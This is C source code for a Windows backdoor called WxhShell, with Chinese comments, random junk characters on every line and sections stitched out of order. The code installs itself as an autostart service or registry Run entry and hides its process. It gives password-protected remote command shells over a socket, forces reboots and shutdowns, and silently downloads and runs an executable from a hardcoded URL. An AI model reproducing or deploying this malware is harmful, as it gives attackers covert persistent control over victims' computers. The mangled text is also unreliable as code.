    if(Boot(SHUTDOWN)) S>0%jCjW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `P;r[j"  
    else { Q?i_Nl/|  
    closesocket(wsh); Qdq;C,}Ai.  
    ExitThread(0); !iKW1ks  
    } ID2->J  
    break; l.o/H|  
    } Dj(PH3^  
  // 获取shell {&,p<5o  
  case 's': { j|[rT^b@  
    CmdShell(wsh); 9?H$0xZV  
    closesocket(wsh); SYY x>1;8`  
    ExitThread(0); #QoWneZ  
    break; Eo6N'h>h  
  } =G:Krc8w@  
  // 退出 `/PBZnj  
  case 'x': { ;[}OZt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); miaH,hm  
    CloseIt(wsh); \Nt 5TG_  
    break; K9#kdo1 2  
    } Nn[*ox#i  
  // 离开 |O_ JUl  
  case 'q': { ]ub"OsXC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C8|V?bL  
    closesocket(wsh); X\h.@+f=  
    WSACleanup(); |@X^_L.!  
    exit(1); %]_: \!  
    break; 7H Dc]&z  
        } HLW_Y|QaFo  
  } 'z. GAR  
  } ^~H{I_Y  
@KTuG ?.  
  // 提示信息 <R]m(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~a ([e\~  
} d/7R}n^  
  } <R7{W"QTA)  
Zo<)r2|O.  
  return; <a"(B*bBd  
} U3{<+vSR`  
Z< i }XCE  
// shell模块句柄 v0\l~_|H  
int CmdShell(SOCKET sock) l<+ [l$0#  
{ ]eKuR"ob0  
STARTUPINFO si; qS vV |G  
ZeroMemory(&si,sizeof(si)); :hZM$4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]o<]A[<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Kz"3ba}KH  
PROCESS_INFORMATION ProcessInfo; idYB.]Y(  
char cmdline[]="cmd"; ?:\/-y)Sp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F0<)8{s  
  return 0; ]%E h"   
} ?}KRAtJ8  
=wh[D$n$~  
// 自身启动模式 e_=K0fFz  
int StartFromService(void) eM<N?9s  
{ kkq1:\pZ]a  
typedef struct ab2FK  
{ ]bY|>q  
  DWORD ExitStatus; GOc   
  DWORD PebBaseAddress; >5 -1?vi  
  DWORD AffinityMask; iwK.*07+  
  DWORD BasePriority; (bb!VVA  
  ULONG UniqueProcessId; 7[1Lh'u  
  ULONG InheritedFromUniqueProcessId; SboHo({5VA  
}   PROCESS_BASIC_INFORMATION; wb$uq/|  
.g8*K "  
PROCNTQSIP NtQueryInformationProcess; `9^tuR,  
|{N{VK  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +K1M&(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G,)zn9X  
ai_ve[A  
  HANDLE             hProcess; o]<Z3)  
  PROCESS_BASIC_INFORMATION pbi; ~!$"J}d}<  
,&_H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X<%D@$  
  if(NULL == hInst ) return 0; Oh! {E5!)  
[[$C tqLg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;:6\w!fc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \V>5)R n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N{v)pu.  
=LaEEL  
  if (!NtQueryInformationProcess) return 0; Ek L2nI  
u_k[< &$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iJzBd7  
  if(!hProcess) return 0; WWunS|B!  
`dZ|Ko%k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .TGw+E1k  
(DiduSJ  
  CloseHandle(hProcess); )=5 &Q  
Pu3oQDldV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [~9UsHfH  
if(hProcess==NULL) return 0; O52 /fGt  
x"b'Pmw  
HMODULE hMod; DG;7+2U  
char procName[255]; P 2WAnm  
unsigned long cbNeeded; oai=1vt@  
|oPRP1F-;e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); N9w"Lb  
w)EY j+L  
  CloseHandle(hProcess); +u$l]~St\  
#LasTN9  
if(strstr(procName,"services")) return 1; // 以服务启动 q/ljH_-  
-ZaeX]^&Q\  
  return 0; // 注册表启动 @ZJL]TO  
} ?4b0\ -  
-Uo11'{  
// 主模块 i=gZ8Q=H  
int StartWxhshell(LPSTR lpCmdLine) , #)d  
{ Lk(ESV;r  
  SOCKET wsl; 8c9HJ9vk  
BOOL val=TRUE; IXy6Yn9l  
  int port=0; WE) *~5  
  struct sockaddr_in door; *~^63Nx!  
b > D  
  if(wscfg.ws_autoins) Install(); uVEJV |^/  
27SHj9I  
port=atoi(lpCmdLine); hN3FH# YO  
I8bM-k):9R  
if(port<=0) port=wscfg.ws_port; X FS~  
(tg.]q_=u  
  WSADATA data; 0-Mzb{n5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +M-tYE 5n  
`\UY5n72  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &e^;;<*w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zZ%[SW&vC  
  door.sin_family = AF_INET; tj13!Cc}e`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0ID9=:J  
  door.sin_port = htons(port); Z*k(Q5&U  
k'o[iKlu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J0!V(  
closesocket(wsl); 1B;2 ~2X  
return 1; RcYUO*  
} A*OqUq/H`;  
.iy4 (P4  
  if(listen(wsl,2) == INVALID_SOCKET) { ^+>*Y=fl  
closesocket(wsl); pAy4%|(  
return 1; @ VWED  
} w ,j*I7V  
  Wxhshell(wsl); NxHUOPAJc  
  WSACleanup(); \bARp z?a  
jrQ0-D%M d  
return 0; aC,adNub  
p":u]Xgb  
} #^T`vTD-  
z=>fBb>w7  
// 以NT服务方式启动 d,^O[9UWo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !UoA6C:  
{ c>LP}PGk  
DWORD   status = 0; &>\;4E.O5  
  DWORD   specificError = 0xfffffff; 1/97_:M0~F  
JQ%hh&M\0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'ZF6Z9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LzU'6ah';5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d0>U-.  
  serviceStatus.dwWin32ExitCode     = 0; ce;7  
  serviceStatus.dwServiceSpecificExitCode = 0; HP8J\`  
  serviceStatus.dwCheckPoint       = 0; R%jOgZG  
  serviceStatus.dwWaitHint       = 0; [D~]  
nCq'=L,m  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 30sJ"hF9  
  if (hServiceStatusHandle==0) return; QD@O!}; T  
<e UsMo<  
status = GetLastError(); MH.+pqIv^  
  if (status!=NO_ERROR) 6m_mma_,&  
{ j-K[]$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H^-Y]{7  
    serviceStatus.dwCheckPoint       = 0; H,% bKl#  
    serviceStatus.dwWaitHint       = 0; ;oOTL'Vu  
    serviceStatus.dwWin32ExitCode     = status; 4t[7lL`Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; U6&`s%mIa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,iyy2  
    return; !,`'VQw$  
  } :H&Q!\a  
uz!8=,DFw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ({E,}x  
  serviceStatus.dwCheckPoint       = 0; u !BU^@P  
  serviceStatus.dwWaitHint       = 0; rCw 4a?YS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6BV 6<PHJ  
} g4Z Uh@b~  
#|sE]\bsH  
// 处理NT服务事件,比如:启动、停止 !/p|~K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )J 'F]s  
{ lq9|tt6Z  
switch(fdwControl) nq!=9r  
{ IH`Q=Pj  
case SERVICE_CONTROL_STOP: '7'/+G'~&  
  serviceStatus.dwWin32ExitCode = 0; jF?0,g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ *t\=4  
  serviceStatus.dwCheckPoint   = 0; DSLX/u o1  
  serviceStatus.dwWaitHint     = 0; 5sJ>+Rg  
  { fJ*^4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (9u`(|x  
  } k{+cFG\C&  
  return; q9vND[BQ  
case SERVICE_CONTROL_PAUSE: 4FaO+Eo,8  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z|_V ;*  
  break; #f#6u2nF\  
case SERVICE_CONTROL_CONTINUE: 3 `_/h' ~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Xe);LhDC  
  break; 1J!v;Y\\  
case SERVICE_CONTROL_INTERROGATE: LLgw1 @-D  
  break; No7-fX1B  
}; 9Kd=GL_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8ae`V!5  
} li%@HdA!  
7rdmj[vu  
// 标准应用程序主函数 Nr*l3Z>LD  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  LgF?1?  
{ QP'sS*saJ  
?6_]^:s  
// 获取操作系统版本 Ic&~iqQ  
OsIsNt=GetOsVer(); uj3`M9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #2^0z`-\_z  
F${sEtH  
  // 从命令行安装 Qf_N,Bq{a  
  if(strpbrk(lpCmdLine,"iI")) Install(); |mH* I  
ya2sS9^T[  
  // 下载执行文件 4XAB_Q  
if(wscfg.ws_downexe) { j55_wx@cA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $s _k/dM~&  
  WinExec(wscfg.ws_filenam,SW_HIDE); M]o]D;N~l  
} ]|3hK/  
Cj>HMB}  
if(!OsIsNt) { Zz} o  t  
// 如果时win9x,隐藏进程并且设置为注册表启动 &n1Vv_Lb  
HideProc(); Kl.*Q  
StartWxhshell(lpCmdLine); G `|7NL   
} t`6]eRR  
else $ #!oejLD  
  if(StartFromService()) gOg7:VPG  
  // 以服务方式启动 ]C^ #)7  
  StartServiceCtrlDispatcher(DispatchTable); I;@q`Tm  
else mPA)G,^  
  // 普通方式启动 GSRf/::I}4  
  StartWxhshell(lpCmdLine); !PIg ,  
5 SQ!^1R 9  
return 0; p.:|Z-W$  
} RZxh"lIo  
a?W5~?\9  
"7sv@I_j  
+j: &_  
=========================================== w yxPvI`   
fExFpR,`  
76T7<.S  
[lIX&!T"  
)y] Dmm  
_!2lnJ4+5  
" |4DN2P  
N@PuC>  
#include <stdio.h> E#P#{_BR^  
#include <string.h> w#1BHx  
#include <windows.h> 4 6v C/  
#include <winsock2.h> ">7xSWR*4  
#include <winsvc.h> LHtO|Utn(  
#include <urlmon.h> UG.:D';3,  
v^eAQoFLhN  
#pragma comment (lib, "Ws2_32.lib") >C,0}lj  
#pragma comment (lib, "urlmon.lib") oJM; CN  
tzN9d~JZ  
#define MAX_USER   100 // 最大客户端连接数 ds*gL ~k^  
#define BUF_SOCK   200 // sock buffer 1R_@C.I  
#define KEY_BUFF   255 // 输入 buffer w&IYCYK_  
O\7x+^.  
#define REBOOT     0   // 重启 Q7u|^Gu,5  
#define SHUTDOWN   1   // 关机 #c:@oe4v  
=H7p&DhD[  
#define DEF_PORT   5000 // 监听端口 OR&pGoW  
4j;IyQDvM  
#define REG_LEN     16   // 注册表键长度 Sck!w 3  
#define SVC_LEN     80   // NT服务名长度 'R1C-U3w,  
kt Z~r. +  
// 从dll定义API [ DpOI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C+\z$/q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MY{Kq;FvRP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "`K_5"F  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #reR<qp&]  
n$ByTmKxv  
// wxhshell配置信息 12i`82>;  
struct WSCFG { r7VBz_Q  
  int ws_port;         // 监听端口 Jb{g{a/  
  char ws_passstr[REG_LEN]; // 口令 #_\**%,<  
  int ws_autoins;       // 安装标记, 1=yes 0=no  @mw1__?  
  char ws_regname[REG_LEN]; // 注册表键名 n%h00 9 -5  
  char ws_svcname[REG_LEN]; // 服务名 %o9mG<.T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |j"C52Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $Ud9v4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "u^2!d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8]&Fu3M^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TS#1+f]9J<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =_&,^h@'3e  
Z3o HOy  
}; x=0Ak'1M  
#}.{|'L  
// default Wxhshell configuration k4&adX@Y  
struct WSCFG wscfg={DEF_PORT, lYe2;bu  
    "xuhuanlingzhe", @}jg5}  
    1, yq, qS0Fo  
    "Wxhshell", &T-:`(  
    "Wxhshell", "viZ"/ ~6  
            "WxhShell Service", xe OfofC(l  
    "Wrsky Windows CmdShell Service", :M;|0w*b  
    "Please Input Your Password: ", MuO(%.H  
  1, j^/<:e c.  
  "http://www.wrsky.com/wxhshell.exe", >WO;q  
  "Wxhshell.exe" y-@`3hYM@  
    }; }#Up:o]A!  
Mb_"M7  
// 消息定义模块 V B ^1wm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4Tuh]5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &hVf=We  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e8SAjl"}  
char *msg_ws_ext="\n\rExit."; tZ) ,Z<  
char *msg_ws_end="\n\rQuit."; DFfh!KKR$  
char *msg_ws_boot="\n\rReboot...";  Dt5AG  
char *msg_ws_poff="\n\rShutdown..."; "@ZwDg`  
char *msg_ws_down="\n\rSave to "; TH>uL;?=  
ci%$So 2#  
char *msg_ws_err="\n\rErr!"; WjVm{7?{  
char *msg_ws_ok="\n\rOK!"; [ )X(Qtk  
Z>`frL  
char ExeFile[MAX_PATH]; X$%[%q8qg  
int nUser = 0; kFQo[O]  
HANDLE handles[MAX_USER]; G{pF! q  
int OsIsNt; U&^(%W#  
K\}qY dPF  
SERVICE_STATUS       serviceStatus; C^JtJv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U0|wC,7"  
<_8eOL<X  
// 函数声明 ! j6CvclT  
int Install(void); r"L:Mu  
int Uninstall(void); 'D+njxCk.A  
int DownloadFile(char *sURL, SOCKET wsh); $XyDw|z[  
int Boot(int flag); %7[d5[U~ZA  
void HideProc(void); !K.)Qr9V  
int GetOsVer(void); @B)5Ho  
int Wxhshell(SOCKET wsl); R74RJi&  
void TalkWithClient(void *cs); 1jK2*y  
int CmdShell(SOCKET sock); z\k 6."e_&  
int StartFromService(void); j`u2\ ;  
int StartWxhshell(LPSTR lpCmdLine); D(_j;?i  
gT fA]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /xg1i1Et  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?MRT  
rJ4A9d3:  
// 数据结构和表定义 mst;q@  
SERVICE_TABLE_ENTRY DispatchTable[] = 'uqY%&U  
{ W'zI~'K  
{wscfg.ws_svcname, NTServiceMain}, AGlFbc(L  
{NULL, NULL} YFcMU5_F  
}; ]7,0}q.  
Q9X+H4`}y  
// 自我安装 it j&L <e  
int Install(void) nwJub$5  
{ N mNj0&  
  char svExeFile[MAX_PATH]; >.gT9  
  HKEY key; ,[|i^  
  strcpy(svExeFile,ExeFile); 2j^8{Agz  
V#&S&dn  
// 如果是win9x系统,修改注册表设为自启动 Y,KSr|vG  
if(!OsIsNt) { q\s>Oe6$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uq!d8{IMu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qpB8ujj<V  
  RegCloseKey(key); /u"K`y/*j\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /KgP<2p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '8^>Z.~V  
  RegCloseKey(key); fQfd1=4  
  return 0;  =VSUE Pq  
    } E_xCRfw_i]  
  } AhV V  
} P#KT lH  
else { mnYzn[d3U  
c=B!\J<1  
// 如果是NT以上系统,安装为系统服务 0$R}_Ok  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Nk\/lK\  
if (schSCManager!=0) I~M@v59C  
{ F{17K$y  
  SC_HANDLE schService = CreateService X5)].[d  
  ( yEL5U{  
  schSCManager, @vi;P ^1!  
  wscfg.ws_svcname, F^DDN7AKH  
  wscfg.ws_svcdisp, bmRp)CYd  
  SERVICE_ALL_ACCESS, XJ1<!tl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vg`32nRN  
  SERVICE_AUTO_START, yD^Q&1  
  SERVICE_ERROR_NORMAL, c_6~zb?k+m  
  svExeFile, h],l`lT1\  
  NULL, $=!_ !tr  
  NULL, OLJ|gunA#  
  NULL, H1ox>sC  
  NULL, UDgUbi^v|D  
  NULL %c&< {D}r  
  ); 'oM&Ar$  
  if (schService!=0) )K 0rPnYV  
  { 8{%[|Ye  
  CloseServiceHandle(schService); ?h-:,icR  
  CloseServiceHandle(schSCManager); $2v{4WP7G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y7@$#/1  
  strcat(svExeFile,wscfg.ws_svcname); ]%6XE)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <`=(Ui$fD  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O&PrO+&  
  RegCloseKey(key); jW.IkG[|  
  return 0; "&TN}SBW  
    } wn>?r ?KIB  
  } lDtl6r/  
  CloseServiceHandle(schSCManager); Ix+\oq,O  
} KZsJ_t++!W  
} Ei\tn`I&  
^s3SzB@  
return 1; |("zW7g  
} :8Ql (I  
^14a[ta/'  
// 自我卸载 Z'\{hL S  
int Uninstall(void) `< cn  
{ iFB {a?BE  
  HKEY key; iy,jq5uw  
Pu0O6@Rg  
if(!OsIsNt) { OYk/K70l3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uU`Mq8) R  
  RegDeleteValue(key,wscfg.ws_regname); FP h1}qS  
  RegCloseKey(key); kiR+ Dsl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aL0,=g%  
  RegDeleteValue(key,wscfg.ws_regname); `BKV/Xl  
  RegCloseKey(key); p>0n~e  
  return 0; y(Ck j"  
  } `Ct fe8  
} +J(@.  
} rTYMN  
else { ^yVKW5x  
+FlO_=Bu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -x0u}I  
if (schSCManager!=0) fpPHw)dTd  
{ k|F TT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  <sC.  
  if (schService!=0) @xPWR=Lb  
  { <lHVch"(^$  
  if(DeleteService(schService)!=0) { <(dg^;  
  CloseServiceHandle(schService); L[.RV*sL  
  CloseServiceHandle(schSCManager); r2xIbZ  
  return 0; m\ (crkN  
  } #TKByOcD2!  
  CloseServiceHandle(schService); 3Ay<2v  
  } -|3feYb'  
  CloseServiceHandle(schSCManager); EPGp8VGXp~  
} +G?nmXG[vj  
} .0u@PcE:O  
C:@JLZB  
return 1; 0fQMOTpOp  
} J^<}fRw  
{Z{!tR?+  
// 从指定url下载文件 qK12:  
int DownloadFile(char *sURL, SOCKET wsh) ;*409 P  
{ $Z{Xt*  
  HRESULT hr; 2<8JY4]!]  
char seps[]= "/"; ' lMPI@C6r  
char *token; `\5u/i'Ca!  
char *file; ?*2Uw{~}  
char myURL[MAX_PATH]; zDx*R3%  
char myFILE[MAX_PATH]; +{pS2I}d  
A1V^Gi@i  
strcpy(myURL,sURL); {S5H H"  
  token=strtok(myURL,seps); `KUl XS(  
  while(token!=NULL) 1|/]bffg!c  
  { FJ(}@U}57  
    file=token; tw%z!u[a  
  token=strtok(NULL,seps); tg' 2 v/  
  } `78)|a*R.  
[5sa1$n96G  
GetCurrentDirectory(MAX_PATH,myFILE); s'yT}XQ;r  
strcat(myFILE, "\\"); %Y*]eLT>  
strcat(myFILE, file); qD<\U  
  send(wsh,myFILE,strlen(myFILE),0); wj#A#[e  
send(wsh,"...",3,0); S[5e,E w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o!>h Q#h  
  if(hr==S_OK) ^ woCwW8n  
return 0; tunjV1 ,]  
else wwD?i.3  
return 1; P\2UIAPa\b  
IIIP<nyc  
} =E10j.r  
:B"Y3~I  
// 系统电源模块 "`&1"*  
int Boot(int flag) 9s@$P7N5B  
{ .sR=Mf7T  
  HANDLE hToken; Tkf JC|6  
  TOKEN_PRIVILEGES tkp; EQ> ]~  
eY#_!{*Wn  
  if(OsIsNt) { X6<%SJC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (,!G$~Sy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vv5 uU8  
    tkp.PrivilegeCount = 1; OX[pK_:`l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $~FnBD%|{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "-a CF  
if(flag==REBOOT) { C)xM>M_CB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [/IN820t  
  return 0; z}&JapJ  
} MclW!CmJ  
else { rwSmdJ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5svM3  #  
  return 0; Ir :y#  
} .P5OUK  
  } %AnqT|\#,  
  else { 1aBQ.-E-  
if(flag==REBOOT) { "[t b-$ER  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HHcWyu  
  return 0; 0\2#(^  
} G~N$bF^R)  
else { *N!>c&8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l6#ms!e  
  return 0; |VxO ,[~  
} s%l`XW;v  
} 5`H.{4@  
!H/5Ud9  
return 1; bIP%xl Vp  
} 1'Y7h;\~\  
QdtGFY4f,  
// win9x进程隐藏模块 GB\1'  
void HideProc(void) h#Q Sx@U6  
{ BA(PWX`H  
lZf=#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1K&l}/zUl  
  if ( hKernel != NULL ) |\k,qVQ  
  { g\ q*,1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +4]31d&3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h}knn3"S  
    FreeLibrary(hKernel); Q8>  
  } "ukiuCfVuW  
M:QM*?+)  
return; 3; Ztm$8  
} &x>8 %Q s  
&2\^S+4  
// 获取操作系统版本 NUp,In_  
int GetOsVer(void) rIJv(&l  
{ :j}4F  
  OSVERSIONINFO winfo; t+<?$I[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fNnX{Wq  
  GetVersionEx(&winfo); @=G6fW:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) GZCXm+  
  return 1; 0V[`zOO(o  
  else #$;i 4a  
  return 0; ll8Zo+-[  
}  L$Yg*]\  
CS|al(?~  
// 客户端句柄模块 nXFPoR)T  
int Wxhshell(SOCKET wsl) (`me}8  
{ xq-TT2}<L  
  SOCKET wsh; pf[m"t6G~  
  struct sockaddr_in client; S&Szc0-|k  
  DWORD myID; Bt[Wh@  
!Un &OAy.!  
  while(nUser<MAX_USER) _Z{EO|L  
{ P'Diie  
  int nSize=sizeof(client); 8k|&&3_[?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [,86||^  
  if(wsh==INVALID_SOCKET) return 1; dDxb}d x8  
5g\>x;cc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @4xV3Xkf&C  
if(handles[nUser]==0) .bloaeu-  
  closesocket(wsh); :Cdqj0O3u  
else  J*FUJT  
  nUser++; S<nf"oy_K  
  } UZJ<|[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +pG[ [}/  
v_L2>Pa.  
  return 0; K2 b\9}  
} Uuq*;L  
n3B#M}R  
// 关闭 socket kX)QHNzP  
void CloseIt(SOCKET wsh) .mwB'Ll  
{ +]dh`8*8>1  
closesocket(wsh); H&_drxUq;L  
nUser--; G%FLt[  
ExitThread(0); poU1Q#+4p*  
} V''?kVJ  
DqN<bu2  
// 客户端请求句柄 " .<>(bE  
void TalkWithClient(void *cs) r~q 3nIe/,  
{ $LOwuvu>  
AJ"a  
  SOCKET wsh=(SOCKET)cs; KMll8X  
  char pwd[SVC_LEN]; }|u>b!7_.  
  char cmd[KEY_BUFF]; vp|'Yy(9z  
char chr[1]; h#JX$9  
int i,j;  up==g  
PL|zm5923  
  while (nUser < MAX_USER) { &@[pJ2  
nBkzNb{"AZ  
if(wscfg.ws_passstr) { Or3GrZ!H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tQWjNP~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tB{HH%cV  
  //ZeroMemory(pwd,KEY_BUFF); =V>inH  
      i=0; )&vuT q'7'  
  while(i<SVC_LEN) { e<+$E%"7hS  
GJTakhj3  
  // 设置超时 aGbHDo  
  fd_set FdRead; 5`\"UC7?%  
  struct timeval TimeOut; K=N8O8R$y  
  FD_ZERO(&FdRead); %Kzu&*9Hb  
  FD_SET(wsh,&FdRead); Vf#g~IOI  
  TimeOut.tv_sec=8; LTWiCI  
  TimeOut.tv_usec=0; ^Gwpx +  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &qyXi[vw  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?"-1QG  
;FnU[Q`M#L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C/#?S=w`4  
  pwd=chr[0]; ;6}> Shs  
  if(chr[0]==0xd || chr[0]==0xa) { 1uco{JX<S  
  pwd=0; *)D$w_06S  
  break; 2|\WaH9P  
  } O<()T6  
  i++; \&\U&^?  
    } d.xT8l}sS  
Y. Uca<{.[  
  // 如果是非法用户,关闭 socket @p%WFNR0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4Is Wp!`W  
} 9}A\Bh tiM  
l8H8c &  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +%=lu14G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MWq1 "c  
":!1gC  
while(1) { XImX1GH  
a^g}Z7D'T  
  ZeroMemory(cmd,KEY_BUFF); 'y&DOy/|  
~c`%k>$  
      // 自动支持客户端 telnet标准   eZ8DW6l*  
  j=0; ^TEFKx}PX  
  while(j<KEY_BUFF) { szUJh9-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *-X`^R  
  cmd[j]=chr[0]; LbUH`0:%t  
  if(chr[0]==0xa || chr[0]==0xd) { p`)Mk<`dYD  
  cmd[j]=0; C 8KV<k  
  break;  {HbSty  
  } ^;'FC vd  
  j++; Xmw%f[Xl  
    } UK5u"@T  
aNUM F  
  // 下载文件 p}p}!M|  
  if(strstr(cmd,"http://")) { }6"l`$=Ev  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3FG'A[x3O  
  if(DownloadFile(cmd,wsh)) hdDL92JVg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )(+q~KA}  
  else _sAcvKH  
